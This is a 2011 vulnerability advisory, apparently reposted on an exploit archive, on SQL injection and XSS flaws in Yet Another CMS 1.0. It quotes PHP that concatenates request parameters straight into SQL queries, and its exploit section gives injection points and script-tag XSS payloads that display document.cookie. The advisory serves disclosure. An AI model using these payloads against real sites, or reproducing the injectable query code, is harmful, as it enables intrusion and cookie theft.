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Yet Another CMS 1.0 SQL Injection & XSS vulnerabilities
[Advisory: Yet Another CMS 1.0 SQL Injection & XSS vulnerabilities
Advisory ID: SSCHADV2011-031
Author: Stefan Schurtz
Affected Software: Successfully tested on Yet Another CMS 1.0
Vendor URL: http://yetanothercms.codeplex.com/
Vendor Status: informed
==========================
Vulnerability Description:
==========================
Yet Another CMS 1.0 is prone to multiple SQL Injection and XSS vulnerabilities
==================
Technical Details:
==================
// search.php
$result_set = get_search_result_set($_POST['pattern']);
// includes/functions.php
function get_search_result_set($pattern, $public = true) {
global $connection;
$query = "SELECT
id,
subject_id,
menu_name,
position,
visible,
content,
CONCAT('... ', SUBSTRING(content, LOCATE('" . $pattern . "',content), 200), ' ...') as fragment
FROM
pages
WHERE
content like '%" . $pattern . "%'";
// index.php
<?php find_selected_page(); ?>
// includes/functions.php
function find_selected_page() {
global $sel_subject;
global $sel_page;
if (isset($_GET['subj'])) {
$sel_subject = get_subject_by_id($_GET['subj']);
$sel_page = get_default_page($sel_subject['id']);
} elseif (isset($_GET['page'])) {
$sel_subject = NULL;
$sel_page = get_page_by_id($_GET['page']);
} else {
$sel_subject = NULL;
$sel_page = NULL;
}
}
function get_page_by_id($page_id) {
global $connection;
$query = "SELECT * ";
$query .= "FROM pages ";
$query .= "WHERE id=" . $page_id ." ";
$query .= "LIMIT 1";
==================
Exploit
==================
SQL Injection
http://<target>/index.php?page=[sql injection]
http://<target>/search.php -> 'search field' -> [sql injection]
XSS
http://<target>/search.php -> 'search field' -> '"</script><script>alert(document.cookie)</script>
http://<target>/index.php?page='</script><script>alert(document.cookie)</script>
====================
Disclosure Timeline:
====================
18-Oct-2011 - informed developers
========
Credits:
========
Vulnerabilities found and advisory written by Stefan Schurtz.
# 0day.today [2024-12-25] #